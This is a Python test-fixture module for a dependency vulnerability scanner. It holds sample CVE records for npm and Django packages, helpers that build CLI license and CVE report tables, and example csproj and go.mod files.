'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.2.2', }, 'root_package_name': 'forever', 'root_package_version': '2.0.0'}, {'details': {'cveId': 'CVE-2021-44906', 'severity': 'critical', 'packageName': 'minimist', 'packageVersion': '0.0.10', 'link': '', 'cvss': 9.8, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.2.6'}, 'root_package_name': 'forever', 'root_package_version': '2.0.0'}, {'details': {'cveId': 'PRISMA-2022-0049', 'severity': 'high', 'packageName': 'unset-value', 'packageVersion': '1.0.0', 'link': '', 'cvss': 8, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'status': 'fixed in 2.0.1', 'publishedDate': ''}, 'root_package_name': 'forever', 'root_package_version': '2.0.0'}, {'details': {'cveId': 'CVE-2020-28469', 'severity': 'high', 'packageName': 'glob-parent', 'packageVersion': '3.1.0', 'link': '', 'cvss': 7.5, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 5.1.2'}, 'root_package_name': 'forever', 'root_package_version': '2.0.0'}, {'details': {'cveId': 'CVE-2022-38900', 'severity': 'low', 'packageName': 'decode-uri-component', 'packageVersion': '0.2.0', 'link': '', 'cvss': 1, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 0.2.1'}, 'root_package_name': 'forever', 'root_package_version': '2.0.0'}, {'details': {'cveId': 'CVE-2022-21803', 'severity': 'high', 'packageName': 'nconf', 'packageVersion': '0.10.0', 'link': '', 'cvss': 7.5, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 0.11.4'}, 'root_package_name': 'forever', 'root_package_version': '2.0.0'}, {'details': {'cveId': 'CVE-2022-1537', 'severity': 'high', 'packageName': 'grunt', 'packageVersion': '1.4.1', 'link': '', 'cvss': 7, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.5.3'}, 'root_package_name': 'grunt', 'root_package_version': '1.4.1'}, {'details': {'cveId': 'CVE-2022-0436', 'severity': 'medium', 'packageName': 'grunt', 'packageVersion': '1.4.1', 'link': '', 'cvss': 5.5, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.5.2'}, 'root_package_name': 'grunt', 'root_package_version': '1.4.1'}, {'details': {'cveId': 'CVE-2017-16137', 'severity': 'medium', 'packageName': 'debug', 'packageVersion': '2.2.0', 'link': '', 'cvss': 5.3, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 3.1.0, 2.6.9'}, 'root_package_name': 'helmet', 'root_package_version': '2.3.0', 'root_package_fix_version': '2.4.0'}, {'details': {'cveId': 'GHSA-C3M8-X3CG-QM2C', 'severity': 'medium', 'packageName': 'helmet-csp', 'packageVersion': '1.2.2', 'link': '', 'cvss': 4, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 2.9.1', 'rootPackageFixedVersion': '2.4.0'}, 'root_package_name': 'helmet', 'root_package_version': '2.3.0'}, {'details': {'cveId': 'GHSA-C3M8-X3CG-QM2C', 'severity': 'medium', 'packageName': 'helmet', 'packageVersion': '2.3.0', 'link': '', 'cvss': 4, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 2.4.0'}, 'root_package_name': 'helmet', 'root_package_version': '2.3.0'}, {'details': {'cveId': 'PRISMA-2021-0013', 'severity': 'medium', 'packageName': 'marked', 'packageVersion': '0.3.9', 'link': '', 'cvss': 0, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.1.1'}, 'root_package_name': 'marked', 'root_package_version': '0.3.9'}, {'details': {'cveId': 'CVE-2022-21681', 'severity': 'high', 'packageName': 'marked', 'packageVersion': '0.3.9', 'link': '', 'cvss': 7.5, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 4.0.10'}, 'root_package_name': 'marked', 'root_package_version': '0.3.9'}, {'details': {'cveId': 'CVE-2022-21680', 'severity': 'high', 'packageName': 'marked', 'packageVersion': '0.3.9', 'link': '', 'cvss': 7.5, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 4.0.10'}, 'root_package_name': 'marked', 'root_package_version': '0.3.9'}, {'details': {'cveId': 'PRISMA-2022-0230', 'severity': 'high', 'packageName': 'mocha', 'packageVersion': '2.5.3', 'link': '', 'cvss': 7.5, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'open'}, 'root_package_name': 'mocha', 'root_package_version': '2.5.3'}, {'details': {'cveId': 'PRISMA-2022-0335', 'severity': 'medium', 'packageName': 'mocha', 'packageVersion': '2.5.3', 'link': '', 'cvss': 5.3, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'open'}, 'root_package_name': 'mocha', 'root_package_version': '2.5.3'}, {'details': {'cveId': 'GHSA-MH5C-679W-HH4R', 'severity': 'high', 'packageName': 'mongodb', 'packageVersion': '2.2.36', 'link': '', 'cvss': 7, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 3.1.13'}, 'root_package_name': 'mongodb', 'root_package_version': '2.2.36'}, {'details': {'cveId': 'CVE-2019-2391', 'severity': 'medium', 'packageName': 'bson', 'packageVersion': '1.0.9', 'link': '', 'cvss': 4, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.1.4' }, 'root_package_name': 'mongodb', 'root_package_version': '2.2.36'}, {'details': {'cveId': 'CVE-2020-7610', 'severity': 'critical', 'packageName': 'bson', 'packageVersion': '1.0.9', 'link': '', 'cvss': 9.8, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.1.4' }, 'root_package_name': 'mongodb', 'root_package_version': '2.2.36'}, {'details': {'cveId': 'CVE-2020-7598', 'severity': 'medium', 'packageName': 'minimist', 'packageVersion': '0.0.10', 'link': '', 'cvss': 5.6, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.2.2'}, 'root_package_name': 'swig', 'root_package_version': '1.4.2'}, {'details': {'cveId': 'CVE-2021-44906', 'severity': 'critical', 'packageName': 'minimist', 'packageVersion': '0.0.10', 'link': '', 'cvss': 9.8, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.2.6'}, 'root_package_name': 'swig', 'root_package_version': '1.4.2'}, {'details': {'cveId': 'PRISMA-2021-0169', 'severity': 'medium', 'packageName': 'uglify-js', 'packageVersion': '2.4.24', 'link': '', 'cvss': 5.3, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 3.14.3'}, 'root_package_name': 'swig', 'root_package_version': '1.4.2'}, {'details': {'cveId': 'CVE-2015-8858', 'severity': 'high', 'packageName': 'uglify-js', 'packageVersion': '2.4.24', 'link': '', 'cvss': 7, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 2.6.0'}, 'root_package_name': 'swig', 'root_package_version': '1.4.2'} ] def get_vulnerabilities_details_package_lock_json() -> List[Dict[str, Any]]: return [ {'details': {'cveId': 'PRISMA-2021-0070', 'severity': 'medium', 'packageName': 'cypress', 'packageVersion': '3.8.3', 'link': '', 'cvss': 0, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 7.2.0', 'lowest_fixed_version': '7.2.0'}, 'root_package_version': '3.8.3', 'root_package_name': 'cypress'}, {'details': {'cveId': 'CVE-2021-44906', 'severity': 'critical', 'packageName': 'minimist', 'packageVersion': '1.2.5', 'link': '', 'cvss': 9.8, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.2.6'}, 'root_package_name': 'forever', 'root_package_version': '2.0.0'}, {'details': {'cveId': 'CVE-2022-21803', 'severity': 'high', 'packageName': 'nconf', 'packageVersion': '0.6.9', 'link': '', 'cvss': 7.5, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 0.11.4'}, 'root_package_name': 'forever', 'root_package_version': '2.0.0'}, {'details': {'cveId': 'CVE-2002-21803', 'severity': 'high', 'packageName': 'nconf', 'packageVersion': '0.6.9', 'link': '', 'cvss': 7.5, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 0.11.4'}, 'root_package_name': 'forever', 'root_package_version': '2.0.0'}, {'details': {'cveId': 'CVE-2020-7598', 'severity': 'medium', 'packageName': 'minimist', 'packageVersion': '0.0.10', 'link': '', 'cvss': 5.6, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.2.2', }, 'root_package_name': 'forever', 'root_package_version': '2.0.0'}, {'details': {'cveId': 'CVE-2021-44906', 'severity': 'critical', 'packageName': 'minimist', 'packageVersion': '0.0.10', 'link': '', 'cvss': 9.8, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.2.6'}, 'root_package_name': 'forever', 'root_package_version': '2.0.0'}, {'details': {'cveId': 'PRISMA-2022-0049', 'severity': 'high', 'packageName': 'unset-value', 'packageVersion': '1.0.0', 'link': '', 'cvss': 8, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'status': 'fixed in 2.0.1', 'publishedDate': ''}, 'root_package_name': 'forever', 'root_package_version': '2.0.0'}, {'details': {'cveId': 'CVE-2020-28469', 'severity': 'high', 'packageName': 'glob-parent', 'packageVersion': '3.1.0', 'link': '', 'cvss': 7.5, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 5.1.2'}, 'root_package_name': 'forever', 'root_package_version': '2.0.0'}, {'details': {'cveId': 'CVE-2022-38900', 'severity': 'low', 'packageName': 'decode-uri-component', 'packageVersion': '0.2.0', 'link': '', 'cvss': 1, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 0.2.1'}, 'root_package_name': 'forever', 'root_package_version': '2.0.0'}, {'details': {'cveId': 'CVE-2022-21803', 'severity': 'high', 'packageName': 'nconf', 'packageVersion': '0.10.0', 'link': '', 'cvss': 7.5, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 0.11.4'}, 'root_package_name': 'forever', 'root_package_version': '2.0.0'}, {'details': {'cveId': 'CVE-2022-1537', 'severity': 'high', 'packageName': 'grunt', 'packageVersion': '1.4.1', 'link': '', 'cvss': 7, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.5.3'}, 'root_package_name': 'grunt', 'root_package_version': '1.4.1'}, {'details': {'cveId': 'CVE-2022-0436', 'severity': 'medium', 'packageName': 'grunt', 'packageVersion': '1.4.1', 'link': '', 'cvss': 5.5, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.5.2'}, 'root_package_name': 'grunt', 'root_package_version': '1.4.1'}, {'details': {'cveId': 'CVE-2017-16137', 'severity': 'medium', 'packageName': 'debug', 'packageVersion': '2.2.0', 'link': '', 'cvss': 5.3, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 3.1.0, 2.6.9'}, 'root_package_name': 'helmet', 'root_package_version': '2.3.0', 'root_package_fix_version': '2.4.0'}, {'details': {'cveId': 'GHSA-C3M8-X3CG-QM2C', 'severity': 'medium', 'packageName': 'helmet-csp', 'packageVersion': '1.2.2', 'link': '', 'cvss': 4, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 2.9.1', 'rootPackageFixedVersion': '2.4.0'}, 'root_package_name': 'helmet', 'root_package_version': '2.3.0'}, {'details': {'cveId': 'GHSA-C3M8-X3CG-QM2C', 'severity': 'medium', 'packageName': 'helmet', 'packageVersion': '2.3.0', 'link': '', 'cvss': 4, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 2.4.0'}, 'root_package_name': 'helmet', 'root_package_version': '2.3.0'}, {'details': {'cveId': 'PRISMA-2021-0013', 'severity': 'medium', 'packageName': 'marked', 'packageVersion': '0.3.9', 'link': '', 'cvss': 0, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.1.1'}, 'root_package_name': 'marked', 'root_package_version': '0.3.9'}, {'details': {'cveId': 'CVE-2022-21681', 'severity': 'high', 'packageName': 'marked', 'packageVersion': '0.3.9', 'link': '', 'cvss': 7.5, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 4.0.10'}, 'root_package_name': 'marked', 'root_package_version': '0.3.9'}, {'details': {'cveId': 'CVE-2022-21680', 'severity': 'high', 'packageName': 'marked', 'packageVersion': '0.3.9', 'link': '', 'cvss': 7.5, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 4.0.10'}, 'root_package_name': 'marked', 'root_package_version': '0.3.9'}, {'details': {'cveId': 'PRISMA-2022-0230', 'severity': 'high', 'packageName': 'mocha', 'packageVersion': '2.5.3', 'link': '', 'cvss': 7.5, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'open'}, 'root_package_name': 'mocha', 'root_package_version': '2.5.3'}, {'details': {'cveId': 'PRISMA-2022-0335', 'severity': 'medium', 'packageName': 'mocha', 'packageVersion': '2.5.3', 'link': '', 'cvss': 5.3, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'open'}, 'root_package_name': 'mocha', 'root_package_version': '2.5.3'}, {'details': {'cveId': 'GHSA-MH5C-679W-HH4R', 'severity': 'high', 'packageName': 'mongodb', 'packageVersion': '2.2.36', 'link': '', 'cvss': 7, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 3.1.13'}, 'root_package_name': 'mongodb', 'root_package_version': '2.2.36'}, {'details': {'cveId': 'CVE-2019-2391', 'severity': 'medium', 'packageName': 'bson', 'packageVersion': '1.0.9', 'link': '', 'cvss': 4, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.1.4' }, 'root_package_name': 'mongodb', 'root_package_version': '2.2.36'}, {'details': {'cveId': 'CVE-2020-7610', 'severity': 'critical', 'packageName': 'bson', 'packageVersion': '1.0.9', 'link': '', 'cvss': 9.8, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.1.4' }, 'root_package_name': 'mongodb', 'root_package_version': '2.2.36'}, {'details': {'cveId': 'CVE-2020-7598', 'severity': 'medium', 'packageName': 'minimist', 'packageVersion': '0.0.10', 'link': '', 'cvss': 5.6, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.2.2'}, 'root_package_name': 'swig', 'root_package_version': '1.4.2'}, {'details': {'cveId': 'CVE-2021-44906', 'severity': 'critical', 'packageName': 'minimist', 'packageVersion': '0.0.10', 'link': '', 'cvss': 9.8, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.2.6'}, 'root_package_name': 'swig', 'root_package_version': '1.4.2'}, {'details': {'cveId': 'PRISMA-2021-0169', 'severity': 'medium', 'packageName': 'uglify-js', 'packageVersion': '2.4.24', 'link': '', 'cvss': 5.3, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 3.14.3'}, 'root_package_name': 'swig', 'root_package_version': '1.4.2'}, {'details': {'cveId': 'CVE-2015-8858', 'severity': 'high', 'packageName': 'uglify-js', 'packageVersion': '2.4.24', 'link': '', 'cvss': 7, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 2.6.0'}, 'root_package_name': 'swig', 'root_package_version': '1.4.2'} ] def get_vulnerabilities_details() -> List[Dict[str, Any]]: return [ { "id": "CVE-2019-19844", "status": "fixed in 3.0.1, 2.2.9, 1.11.27", "cvss": 9.8, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "description": "Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...", "severity": "critical", "packageName": "django", "packageVersion": "1.2", "link": "https://nvd.nist.gov/vuln/detail/CVE-2019-19844", "riskFactorsV2": { "Attack complexity": "low", "Attack vector": "network", }, "impactedVersions": ["<1.11.27"], "publishedDate": "2019-12-18T20:15:00+01:00", "discoveredDate": "2019-12-18T19:15:00Z", "fixDate": "2019-12-18T20:15:00+01:00", }, { "id": "CVE-2016-6186", "status": "fixed in 1.9.8, 1.8.14", "cvss": 6.1, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "description": "Cross-site scripting (XSS) vulnerability in the dismissChangeRelatedObjectPopup function ...", "severity": "medium", "packageName": "django", "packageVersion": "1.2", "link": "https://nvd.nist.gov/vuln/detail/CVE-2016-6186", "riskFactorsV2": { "Attack complexity": "low", "Attack vector": "network", }, "impactedVersions": ["<=1.8.13"], "publishedDate": "2016-08-05T17:59:00+02:00", "discoveredDate": "2016-08-05T15:59:00Z", "fixDate": "2016-08-05T17:59:00+02:00", }, ] def get_vulnerabilities_details_is_used_packages() -> List[Dict[str, Any]]: return [ { "id": "CVE-FAKE-111", "status": "fixed in 3.0.1, 2.2.9, 1.11.27", "cvss": 9.8, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "description": "Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. ...", "severity": "critical", "packageName": "package1", "packageVersion": "1.1.1", "link": "https://nvd.nist.gov/vuln/detail/CVE-2019-19844", "riskFactorsV2": { "Attack complexity": "low", "Attack vector": "network", "IsUsed": False, "ReachableFunction": False, }, "impactedVersions": ["<1.11.27"], "publishedDate": "2019-12-18T20:15:00+01:00", "discoveredDate": "2019-12-18T19:15:00Z", "fixDate": "2019-12-18T20:15:00+01:00", }, { "id": "CVE-FAKE-222", "status": "fixed in 1.9.8, 1.8.14", "cvss": 6.1, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "description": "Cross-site scripting (XSS) vulnerability in the dismissChangeRelatedObjectPopup function ...", "severity": "medium", "packageName": "package2", "packageVersion": "2.2.2", "link": "https://nvd.nist.gov/vuln/detail/CVE-2016-6186", "riskFactorsV2": { "Attack complexity": "low", "Attack vector": "network", "IsUsed": True, "ReachableFunction": False, }, "impactedVersions": ["<=1.8.13"], "publishedDate": "2016-08-05T17:59:00+02:00", "discoveredDate": "2016-08-05T15:59:00Z", "fixDate": "2016-08-05T17:59:00+02:00", }, { "id": "CVE-FAKE-333", "status": "fixed in 1.9.8, 1.8.14", "cvss": 6.1, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "description": "Cross-site scripting (XSS) vulnerability in the dismissChangeRelatedObjectPopup function ...", "severity": "medium", "packageName": "package3", "packageVersion": "3.3.3", "link": "https://nvd.nist.gov/vuln/detail/CVE-2016-6186", "riskFactorsV2": { "Attack complexity": "low", "Attack vector": "network", "IsUsed": True, "ReachableFunction": True, }, "impactedVersions": ["<=1.8.13"], "publishedDate": "2016-08-05T17:59:00+02:00", "discoveredDate": "2016-08-05T15:59:00Z", "fixDate": "2016-08-05T17:59:00+02:00", }, { "id": "CVE-FAKE-444", "status": "fixed in 1.9.8, 1.8.14", "cvss": 6.1, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "description": "Cross-site scripting (XSS) vulnerability in the dismissChangeRelatedObjectPopup function ...", "severity": "medium", "packageName": "package4", "packageVersion": "4.4.4", "link": "https://nvd.nist.gov/vuln/detail/CVE-2016-6186", "riskFactorsV2": { "Attack complexity": "low", "Attack vector": "network", "IsUsed": False, "ReachableFunction": True, }, "impactedVersions": ["<=1.8.13"], "publishedDate": "2016-08-05T17:59:00+02:00", "discoveredDate": "2016-08-05T15:59:00Z", "fixDate": "2016-08-05T17:59:00+02:00", }, ] def get_vulnerabilities_details_no_deps() -> List[Dict[str, Any]]: return [{'cveId': 'PRISMA-2021-0013', 'status': 'fixed in 1.1.1', 'severity': 'medium', 'packageName': 'marked', 'packageVersion': '0.3.9', 'link': None, 'cvss': None, 'vector': None, 'description': 'marked package prior to 1.1.1 are vulnerable to Regular Expression Denial of Service (ReDoS). The regex within src/rules.js file have multiple unused capture groups which could lead to a denial of service attack if user input is reachable. Origin: https://github.com/markedjs/marked/commit/bd4f8c464befad2b304d51e33e89e567326e62e0', 'riskFactorsV2': {'Attack complexity': 'low', 'Attack vector': 'network'}, 'publishedDate': '2021-01-14T10:29:35Z'}, {'cveId': 'CVE-2022-21681', 'status': 'fixed in 4.0.10', 'severity': 'high', 'packageName': 'marked', 'packageVersion': '0.3.9', 'link': 'https://github.com/advisories/GHSA-5v2h-r2cx-5xgj', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'Marked is a markdown parser and compiler. Prior to version 4.0.10, the regular expression `inline.reflinkSearch` may cause catastrophic backtracking against some strings and lead to a denial of service (DoS). Anyone who runs untrusted markdown through a vulnerable version of marked and does not use a worker with a time limit may be affected. This issue is patched in version 4.0.10. As a workaround, avoid running untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.', 'riskFactorsV2': {'Attack complexity': 'low', 'Attack vector': 'network'}, 'publishedDate': '2022-01-14T17:15:00Z'}, {'cveId': 'CVE-2022-21680', 'status': 'fixed in 4.0.10', 'severity': 'high', 'packageName': 'marked', 'packageVersion': '0.3.9', 'link': 'https://github.com/advisories/GHSA-rrrm-qjm4-v8hf', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'Marked is a markdown parser and compiler. Prior to version 4.0.10, the regular expression `block.def` may cause catastrophic backtracking against some strings and lead to a regular expression denial of service (ReDoS). Anyone who runs untrusted markdown through a vulnerable version of marked and does not use a worker with a time limit may be affected. This issue is patched in version 4.0.10. As a workaround, avoid running untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.', 'riskFactorsV2': {'Attack complexity': 'low', 'Attack vector': 'network'}, 'publishedDate': '2022-01-14T17:15:00Z'} ] def get_vulnerabilities_details_no_deps_is_used_packages() -> List[Dict[str, Any]]: return [{'cveId': 'PRISMA-2021-0013', 'status': 'fixed in 1.1.1', 'severity': 'medium', 'packageName': 'marked', 'packageVersion': '0.3.9', 'link': None, 'cvss': None, 'vector': None, 'description': 'marked package prior to 1.1.1 are vulnerable to Regular Expression Denial of Service (ReDoS). The regex within src/rules.js file have multiple unused capture groups which could lead to a denial of service attack if user input is reachable. Origin: https://github.com/markedjs/marked/commit/bd4f8c464befad2b304d51e33e89e567326e62e0', 'riskFactorsV2': {'Attack complexity': 'low', 'Attack vector': 'network', 'IsUsed': 'True'}, 'publishedDate': '2021-01-14T10:29:35Z'}, {'cveId': 'CVE-2022-21681', 'status': 'fixed in 4.0.10', 'severity': 'high', 'packageName': 'marked', 'packageVersion': '0.3.9', 'link': 'https://github.com/advisories/GHSA-5v2h-r2cx-5xgj', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'Marked is a markdown parser and compiler. Prior to version 4.0.10, the regular expression `inline.reflinkSearch` may cause catastrophic backtracking against some strings and lead to a denial of service (DoS). Anyone who runs untrusted markdown through a vulnerable version of marked and does not use a worker with a time limit may be affected. This issue is patched in version 4.0.10. As a workaround, avoid running untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.', 'riskFactorsV2': {'Attack complexity': 'low', 'Attack vector': 'network', 'IsUsed': 'True'}, 'publishedDate': '2022-01-14T17:15:00Z'}, {'cveId': 'CVE-2022-21680', 'status': 'fixed in 4.0.10', 'severity': 'high', 'packageName': 'marked', 'packageVersion': '0.3.9', 'link': 'https://github.com/advisories/GHSA-rrrm-qjm4-v8hf', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'Marked is a markdown parser and compiler. Prior to version 4.0.10, the regular expression `block.def` may cause catastrophic backtracking against some strings and lead to a regular expression denial of service (ReDoS). Anyone who runs untrusted markdown through a vulnerable version of marked and does not use a worker with a time limit may be affected. This issue is patched in version 4.0.10. As a workaround, avoid running untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources.', 'riskFactorsV2': {'Attack complexity': 'low', 'Attack vector': 'network'}, 'publishedDate': '2022-01-14T17:15:00Z'} ] def create_cli_license_violations_table_wrapper(with_line_numbers: bool) -> str: file_path = "/requirements.txt" package_licenses_details_map = { "django@1.2": [ { "package_name": "django", "package_version": "1.2", "license": "DUMMY_LICENSE", "status": "OPEN", "policy": "BC_LIC_1", "lines": [1, 2] if with_line_numbers else [0, 0] }, { "package_name": "django", "package_version": "1.2", "license": "DUMMY_LICENSE2", "status": "OPEN", "policy": "BC_LIC_1", "lines": [1, 2] if with_line_numbers else [0, 0] }, ], "django@1.12": [ { "package_name": "django", "package_version": "1.12", "license": "DUMMY_LICENSE3", "status": "OPEN", "policy": "BC_LIC_1", "lines": [0, 0] }, ], "flask@0.6": [ { "package_name": "flask", "package_version": "0.6", "license": "DUMMY_LICENSE3", "status": "OPEN", "policy": "BC_LIC_1", "lines": [5, 6] if with_line_numbers else [0, 0] }, ] } return create_cli_license_violations_table( file_path=file_path, package_licenses_details_map=package_licenses_details_map, lines_details_found=with_line_numbers ) def create_cli_output_wrapper(with_line_numbers: bool) -> str: # given rootless_file_path = "requirements.txt" file_abs_path = "/path/to/requirements.txt" check_class = "checkov.sca_package_2.scanner.Scanner" packages = { get_package_alias("django", "1.2"): { 'package_registry': "https://registry.npmjs.org/", 'is_private_registry': False, 'lines': [1, 2] if with_line_numbers else [0, 0] }, get_package_alias("flask", "0.6"): { 'package_registry': "https://registry.npmjs.org/", 'is_private_registry': False, 'lines': [5, 6] if with_line_numbers else [0, 0] } } dummy_package = {'package_registry': "https://registry.npmjs.org/", 'is_private_registry': False} license_statuses = [ { "package_name": "django", "package_version": "1.2", "license": "DUMMY_LICENSE", "status": "OPEN", "policy": "BC_LIC_1", }, { "package_name": "django", "package_version": "1.2", "license": "DUMMY_LICENSE2", "status": "OPEN", "policy": "BC_LIC_1", }, { "package_name": "django", "package_version": "1.12", "license": "DUMMY_LICENSE_3", "status": "OPEN", "policy": "BC_LIC_2" }, { "package_name": "flask", "package_version": "0.6", "license": "DUMMY_OTHER_LICENSE", "status": "OPEN", "policy": "BC_LIC_1", } ] # when cves_records = [ create_report_cve_record( rootless_file_path=rootless_file_path, file_abs_path=file_abs_path, check_class=check_class, vulnerability_details=details, licenses='Unknown', package=packages.get(get_package_alias(details["packageName"], details["packageVersion"]), dummy_package), root_package={'name': "django", 'version': "1.2", 'lines': [1, 2] if with_line_numbers else [0, 0]}, used_private_registry=False ) for details in get_vulnerabilities_details() ] license_records = [ create_report_license_record( rootless_file_path=rootless_file_path, file_abs_path=file_abs_path, check_class=check_class, licenses_status=license_status, package=packages.get(get_package_alias(license_status["package_name"], license_status["package_version"]), dummy_package), ) for license_status in license_statuses ] cli_output: str = create_cli_output(True, cves_records + license_records) return cli_output ================================================ FILE: tests/sca_package_2/examples/Microsoft.NET.Sdk.csproj ================================================ Exe net7.0 enable enable ================================================ FILE: tests/sca_package_2/examples/go.mod ================================================ module github.com/gruebel/checkov require ( github.com/abbot/go-http-auth v0.4.0 github.com/aryszka/jobqueue v0.0.2 github.com/cenkalti/backoff v2.2.1+incompatible github.com/cjoudrey/gluahttp v0.0.0-20190104103309-101c19a37344 github.com/cjoudrey/gluaurl v0.0.0-20161028222611-31cbb9bef199 github.com/codahale/hdrhistogram v0.0.0-20161010025455-3a0bb77429bd // indirect github.com/coreos/go-oidc v2.0.0+incompatible github.com/dgrijalva/jwt-go v3.2.0+incompatible github.com/dimfeld/httppath v0.0.0-20170720192232-ee938bf73598 github.com/felixge/httpsnoop v1.0.0 // indirect github.com/ghodss/yaml v1.0.0 github.com/go-redis/redis/v8 v8.3.3 github.com/google/go-cmp v0.5.2 github.com/hashicorp/memberlist v0.1.4 github.com/instana/go-sensor v1.4.16 github.com/lightstep/lightstep-tracer-go v0.24.1-0.20210318180546-a67254760a58 github.com/looplab/fsm v0.1.0 // indirect github.com/miekg/dns v1.1.41 // indirect github.com/oklog/ulid v1.3.1 github.com/opentracing/basictracer-go v1.0.0 github.com/opentracing/opentracing-go v1.1.0 github.com/pkg/errors v0.8.1 github.com/pquerna/cachecontrol v0.0.0-20180517163645-1555304b9b35 // indirect github.com/prometheus/client_golang v1.0.0 github.com/rcrowley/go-metrics v0.0.0-20181016184325-3113b8401b8a github.com/sanity-io/litter v1.1.0 github.com/sarslanhan/cronmask v0.0.0-20190709075623-766eca24d011 github.com/shirou/gopsutil v3.21.2+incompatible // indirect github.com/sirupsen/logrus v1.4.2 github.com/sony/gobreaker v0.4.1 github.com/stretchr/testify v1.6.1 github.com/szuecs/rate-limit-buffer v0.7.1 